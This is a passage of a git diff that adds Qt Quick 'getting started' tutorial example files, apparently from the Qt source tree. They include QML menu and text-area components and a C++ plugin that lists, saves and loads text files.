+ Text {
+ height: parent.height
+ anchors { right: labelRow.left ; verticalCenter: parent.bottom }
+ text: "menu: "
+ color: "lightblue"
+ font { weight: Font.Light; italic: true }
+ smooth: true
+ }
+ //row displays its children in a vertical row
+ Row {
+ id: labelRow
+ anchors.centerIn: parent
+ spacing:40
+ Button {
+ id: fileButton
+ height: 20; width: 50
+ label: "File"
+ buttonColor : menuListView.currentIndex == 0? fileColor : Qt.darker(fileColor, 1.5)
+ scale: menuListView.currentIndex == 0? 1.25: 1
+ labelSize: menuListView.currentIndex == 0? 16:12
+ radius: 1
+ smooth:true
+ //on a button click, change the list's currently selected item to FileMenu
+ onButtonClick: menuListView.currentIndex = 0
+ gradient: Gradient {
+ GradientStop { position: 0.0; color: fileColor }
+ GradientStop { position: 1.0; color: "#136F6F6F" }
+ }
+ }
+ Button {
+ id: editButton
+ height: 20; width: 50
+ buttonColor : menuListView.currentIndex == 1? Qt.darker(editColor, 1.5) : Qt.darker(editColor, 1.9)
+ scale: menuListView.currentIndex == 1? 1.25: 1
+ label: "Edit"
+ radius: 1
+ labelSize: menuListView.currentIndex == 1? 16:12
+ smooth:true
+ //on a button click, change the list's currently selected item to EditMenu
+ onButtonClick: menuListView.currentIndex = 1
+ gradient: Gradient {
+ GradientStop { position: 0.0; color: editColor }
+ GradientStop { position: 1.0; color: "#136F6F6F" }
+ }
+ }
+ }
+ }
+
+ //list view will display a model according to a delegate
+ ListView {
+ id: menuListView
+ width:menuBar.width; height: 9*menuBar.height*partition
+
+ //the model contains the data
+ model: menuListModel
+
+ //control the movement of the menu switching
+ snapMode: ListView.SnapOneItem
+ orientation: ListView.Horizontal
+ boundsBehavior: Flickable.StopAtBounds
+ flickDeceleration: 5000
+ highlightFollowsCurrentItem: true
+ highlightMoveDuration:240
+ highlightRangeMode: ListView.StrictlyEnforceRange
+ }
+ }
+ //a list of visual items already have delegates handling their display
+ VisualItemModel {
+ id: menuListModel
+
+ FileMenu {
+ id:fileMenu
+ width: menuListView.width; height: menuListView.height
+ color: fileColor
+ }
+ EditMenu {
+ color: editColor
+ width: menuListView.width; height: menuListView.height
+ }
+ }
+}
diff --git a/examples/tutorials/gettingStarted/gsQml/core/qmldir b/examples/tutorials/gettingStarted/gsQml/core/qmldir
new file mode 100644
index 00000000..f11cbb93
--- /dev/null
+++ b/examples/tutorials/gettingStarted/gsQml/core/qmldir
@@ -0,0 +1,49 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+Button ./button.qml
+FileDialog ./fileDialog.qml
+TextArea ./textArea.qml
+TextEditor ./textEditor.qml
+EditMenu ./editMenu.qml
+MenuBar ./menuBar.qml
+FileMenu ./fileMenu.qml
+
+plugin FileDialog ../plugins
diff --git a/examples/tutorials/gettingStarted/gsQml/core/textArea.qml b/examples/tutorials/gettingStarted/gsQml/core/textArea.qml
new file mode 100644
index 00000000..19079cb5
--- /dev/null
+++ b/examples/tutorials/gettingStarted/gsQml/core/textArea.qml
@@ -0,0 +1,87 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Rectangle {
+ id:textArea
+
+ function paste() { textEdit.paste() }
+ function copy() { textEdit.copy() }
+ function selectAll() { textEdit.selectAll() }
+
+ width :400; height:400
+
+ property color fontColor: "white"
+ property alias textContent: textEdit.text
+ Flickable {
+ id: flickArea
+ width: parent.width; height: parent.height
+ anchors.fill:parent
+
+ boundsBehavior: Flickable.StopAtBounds
+ flickableDirection: Flickable.HorizontalFlick
+ interactive: true
+ //Will move the text Edit area to make the area visible when
+ //scrolled with keyboard strokes
+ function ensureVisible(r) {
+ if (contentX >= r.x)
+ contentX = r.x;
+ else if (contentX+width <= r.x+r.width)
+ contentX = r.x+r.width-width;
+ if (contentY >= r.y)
+ contentY = r.y;
+ else if (contentY+height <= r.y+r.height)
+ contentY = r.y+r.height-height;
+ }
+
+ TextEdit {
+ id: textEdit
+ anchors.fill:parent
+ width:parent.width; height:parent.height
+ color:fontColor
+ focus: true
+ wrapMode: TextEdit.Wrap
+ font.pointSize:10
+ onCursorRectangleChanged: flickArea.ensureVisible(cursorRectangle)
+ selectByMouse: true
+ }
+ }
+}
diff --git a/examples/tutorials/gettingStarted/gsQml/filedialog/dialogPlugin.cpp b/examples/tutorials/gettingStarted/gsQml/filedialog/dialogPlugin.cpp
new file mode 100644
index 00000000..7d1c7cb1
--- /dev/null
+++ b/examples/tutorials/gettingStarted/gsQml/filedialog/dialogPlugin.cpp
@@ -0,0 +1,54 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "dialogPlugin.h"
+#include "directory.h"
+#include "file.h"
+#include <QtDeclarative/qdeclarative.h>
+
+void DialogPlugin::registerTypes(const char *uri)
+{
+ //register the class Directory into QML as a "Directory" element version 1.0
+ qmlRegisterType<Directory>(uri, 1, 0, "Directory");
+ qmlRegisterType<File>(uri,1,0,"File");
+}
+
+//FileDialog is the plugin name (same as the TARGET in the project file) and DialogPlugin is the plugin classs
+Q_EXPORT_PLUGIN2(FileDialog, DialogPlugin);
diff --git a/examples/tutorials/gettingStarted/gsQml/filedialog/dialogPlugin.h b/examples/tutorials/gettingStarted/gsQml/filedialog/dialogPlugin.h
new file mode 100644
index 00000000..110908f8
--- /dev/null
+++ b/examples/tutorials/gettingStarted/gsQml/filedialog/dialogPlugin.h
@@ -0,0 +1,57 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef DIALOGPLUGIN_H
+#define DIALOGPLUGIN_H
+
+#include <QtDeclarative/QDeclarativeExtensionPlugin>
+
+class DialogPlugin : public QDeclarativeExtensionPlugin
+{
+ Q_OBJECT
+
+ public:
+ //registerTypes is inherited from QDeclarativeExtensionPlugin
+ void registerTypes(const char *uri);
+
+};
+
+#endif
+
diff --git a/examples/tutorials/gettingStarted/gsQml/filedialog/directory.cpp b/examples/tutorials/gettingStarted/gsQml/filedialog/directory.cpp
new file mode 100644
index 00000000..9d68f12f
--- /dev/null
+++ b/examples/tutorials/gettingStarted/gsQml/filedialog/directory.cpp
@@ -0,0 +1,224 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "directory.h"
+#include <QDebug>
+
+/*
+Directory constructor
+
+Initialize the saves directory and creates the file list
+*/
+Directory::Directory(QObject *parent) : QObject(parent)
+{
+ m_dir.cd( QDir::currentPath() );
+
+ //go to the saved directory. if not found, create save directory
+ m_saveDir = "saves";
+ if ( m_dir.cd(m_saveDir) == 0 ) {
+ m_dir.mkdir(m_saveDir);
+ m_dir.cd(m_saveDir);
+ }
+ m_filterList << "*.txt";
+ refresh();
+}
+
+/*
+Directory::filesNumber
+Return the number of Files
+*/
+int Directory::filesCount() const
+{
+ return m_fileList.size();
+}
+
+/*
+Function called to append data onto list property
+*/
+void appendFiles(QDeclarativeListProperty<File> * property, File * file)
+{
+ Q_UNUSED(property);
+ Q_UNUSED(file);
+ //Do nothing. can't add to a directory using this method
+}
+
+/*
+Function called to retrieve file in the list using an index
+*/
+File* fileAt(QDeclarativeListProperty<File> * property, int index)
+{
+ return static_cast< QList<File *> *>(property->data)->at(index);
+}
+
+/*
+Returns the number of files in the list
+*/
+int filesSize(QDeclarativeListProperty<File> * property)
+{
+ return static_cast< QList<File *> *>(property->data)->size();
+}
+
+/*
+Function called to empty the list property contents
+*/
+void clearFilesPtr(QDeclarativeListProperty<File> *property)
+{
+ return static_cast< QList<File *> *>(property->data)->clear();
+}
+
+/*
+Returns the list of files as a QDeclarativeListProperty.
+*/
+QDeclarativeListProperty<File> Directory::files()
+{
+ refresh();
+ return QDeclarativeListProperty<File>( this, &m_fileList, &appendFiles, &filesSize, &fileAt, &clearFilesPtr );
+}
+
+/*
+Return the name of the currently selected file
+*/
+QString Directory::filename() const
+{
+ return currentFile.name();
+}
+
+/*
+Return the file's content as a string.
+*/
+QString Directory::fileContent() const
+{
+ return m_fileContent;
+}
+
+/*
+Set the file name of the current file
+*/
+void Directory::setFilename(const QString &str)
+{
+ if( str != currentFile.name() ) {
+ currentFile.setName(str);
+ emit filenameChanged();
+ }
+}
+
+/*
+Set the content of the file as a string
+*/
+void Directory::setFileContent(const QString &str)
+{
+ if(str != m_fileContent){
+ m_fileContent = str;
+ emit fileContentChanged();
+ }
+}
+
+/*
+Called from QML to save the file using the filename and file content.
+Saving makes sure that the file has a .txt extension.
+*/
+void Directory::saveFile()
+{
+ if(currentFile.name().size() == 0){
+ qWarning()<< "Empty filename. no save";
+ return;
+ }
+ QString extendedName = currentFile.name();
+ if(!currentFile.name().endsWith(".txt")){
+ extendedName.append(".txt");
+ }
+ QFile file( m_dir.filePath(extendedName) );
+ if ( file.open(QFile::WriteOnly | QFile::Truncate) ) {
+ QTextStream outStream(&file);
+ outStream << m_fileContent;
+ }
+ file.close();
+ refresh();
+ emit directoryChanged();
+}
+
+/*
+Load the contents of a file.
+Only loads files with a .txt extension
+*/
+void Directory::loadFile()
+{
+ m_fileContent.clear();
+ QString extendedName = currentFile.name();
+ if( !currentFile.name().endsWith(".txt") ) {
+ extendedName.append(".txt");
+ }
+
+ QFile file( m_dir.filePath(extendedName) );
+ if ( file.open(QFile::ReadOnly ) ) {
+ QTextStream inStream(&file);
+
+ QString line;
+ do {
+ line = inStream.read(75);
+ m_fileContent.append(line);
+ } while ( !line.isNull() ) ;
+ }
+ file.close();
+}
+
+/*
+Reloads the content of the files list. This is to ensure that the newly
+created files are added onto the list.
+*/
+void Directory::refresh()
+{
+ m_dirFiles = m_dir.entryList(m_filterList,QDir::Files,QDir::Name);
+ m_fileList.clear();
+
+ File * file;
+ for(int i = 0; i < m_dirFiles.size() ; i ++) {
+ file = new File();
+
+ if( m_dirFiles.at(i).endsWith(".txt") ) {
+ QString name = m_dirFiles.at(i);
+ file->setName( name.remove(".txt",Qt::CaseSensitive) );
+ }
+ else {
+ file->setName(m_dirFiles.at(i));
+ }
+ m_fileList.append(file);
+ }
+}
diff --git a/examples/tutorials/gettingStarted/gsQml/filedialog/directory.h b/examples/tutorials/gettingStarted/gsQml/filedialog/directory.h
new file mode 100644
index 00000000..2b8cf368
--- /dev/null
+++ b/examples/tutorials/gettingStarted/gsQml/filedialog/directory.h
@@ -0,0 +1,107 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef DIRECTORY_H
+#define DIRECTORY_H
+
+#include "file.h"
+
+#include <QDir>
+#include <QStringList>
+#include <QTextStream>
+#include <QDeclarativeListProperty>
+#include <QObject>
+
+class Directory : public QObject {
+
+ Q_OBJECT
+
+ //number of files in the directory
+ Q_PROPERTY(int filesCount READ filesCount)
+
+ //list property containing file names as QString
+ Q_PROPERTY(QDeclarativeListProperty<File> files READ files CONSTANT )
+
+ //file name of the text file to read/write
+ Q_PROPERTY(QString filename READ filename WRITE setFilename NOTIFY filenameChanged)
+
+ //text content of the file
+ Q_PROPERTY(QString fileContent READ fileContent WRITE setFileContent NOTIFY fileContentChanged)
+
+ public:
+ Directory(QObject *parent = 0);
+
+ //properties' read functions
+ int filesCount() const;
+ QString filename() const;
+ QString fileContent() const;
+ QDeclarativeListProperty<File> files();
+
+ //properties' write functions
+ void setFilename(const QString &str);
+ void setFileContent(const QString &str);
+
+ //accessible from QML
+ Q_INVOKABLE void saveFile();
+ Q_INVOKABLE void loadFile();
+
+ signals:
+ void directoryChanged();
+ void filenameChanged();
+ void fileContentChanged();
+
+ private:
+ QDir m_dir;
+ QStringList m_dirFiles;
+ File currentFile;
+ QString m_saveDir;
+ QStringList m_filterList;
+
+ //contains the file data in QString format
+ QString m_fileContent;
+
+ //Registered to QML in a plugin. Accessible from QML as a property of Directory
+ QList<File *> m_fileList;
+
+ //refresh content of the directory
+ void refresh();
+};
+
+#endif
diff --git a/examples/tutorials/gettingStarted/gsQml/filedialog/file.cpp b/examples/tutorials/gettingStarted/gsQml/filedialog/file.cpp
new file mode 100644
index 00000000..347ff342
--- /dev/null
+++ b/examples/tutorials/gettingStarted/gsQml/filedialog/file.cpp
@@ -0,0 +1,57 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+
+#include "file.h"
+
+File::File(QObject *parent) : QObject(parent)
+{
+ m_name = "";
+}
+
+QString File::name() const{
+ return m_name;
+}
+void File::setName(const QString &str){
+ if(str != m_name){
+ m_name = str;
+ emit nameChanged();
+ }
+}
diff --git a/examples/tutorials/gettingStarted/gsQml/filedialog/file.h b/examples/tutorials/gettingStarted/gsQml/filedialog/file.h
new file mode 100644
index 00000000..a654a7c9
--- /dev/null
+++ b/examples/tutorials/gettingStarted/gsQml/filedialog/file.h
@@ -0,0 +1,67 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef FILE_H
+#define FILE_H
+
+
+#include <QString>
+#include <QObject>
+
+class File : public QObject{
+
+ Q_OBJECT
+
+ Q_PROPERTY(QString name READ name WRITE setName NOTIFY nameChanged)
+
+ public:
+ File(QObject *parent = 0);
+
+ QString name() const;
+ void setName(const QString &str);
+
+ signals:
+ void nameChanged();
+
+ private:
+ QString m_name;
+};
+
+#endif
diff --git a/examples/tutorials/gettingStarted/gsQml/filedialog/filedialog.pro b/examples/tutorials/gettingStarted/gsQml/filedialog/filedialog.pro
new file mode 100644
index 00000000..d85787d0
--- /dev/null
+++ b/examples/tutorials/gettingStarted/gsQml/filedialog/filedialog.pro
@@ -0,0 +1,17 @@
+TEMPLATE = lib
+CONFIG += qt plugin
+QT += declarative
+
+DESTDIR += ../plugins
+OBJECTS_DIR = tmp
+MOC_DIR = tmp
+
+TARGET = FileDialog
+
+HEADERS += directory.h \
+ file.h \
+ dialogPlugin.h
+
+SOURCES += directory.cpp \
+ file.cpp \
+ dialogPlugin.cpp
diff --git a/examples/tutorials/gettingStarted/gsQml/filedialog/qmldir b/examples/tutorials/gettingStarted/gsQml/filedialog/qmldir
new file mode 100644
index 00000000..c2b27dad
--- /dev/null
+++ b/examples/tutorials/gettingStarted/gsQml/filedialog/qmldir
@@ -0,0 +1 @@
+plugin FileDialog plugins
diff --git a/examples/tutorials/gettingStarted/gsQml/images/arrow.png b/examples/tutorials/gettingStarted/gsQml/images/arrow.png
new file mode 100644
index 00000000..14978c2e
--- /dev/null
+++ b/examples/tutorials/gettingStarted/gsQml/images/arrow.png
Binary files differ
diff --git a/examples/tutorials/gettingStarted/gsQml/parts/part0/Button.qml b/examples/tutorials/gettingStarted/gsQml/parts/part0/Button.qml
new file mode 100644
index 00000000..b7b90547
--- /dev/null
+++ b/examples/tutorials/gettingStarted/gsQml/parts/part0/Button.qml
@@ -0,0 +1,55 @@
+/****************************************************************************
+**
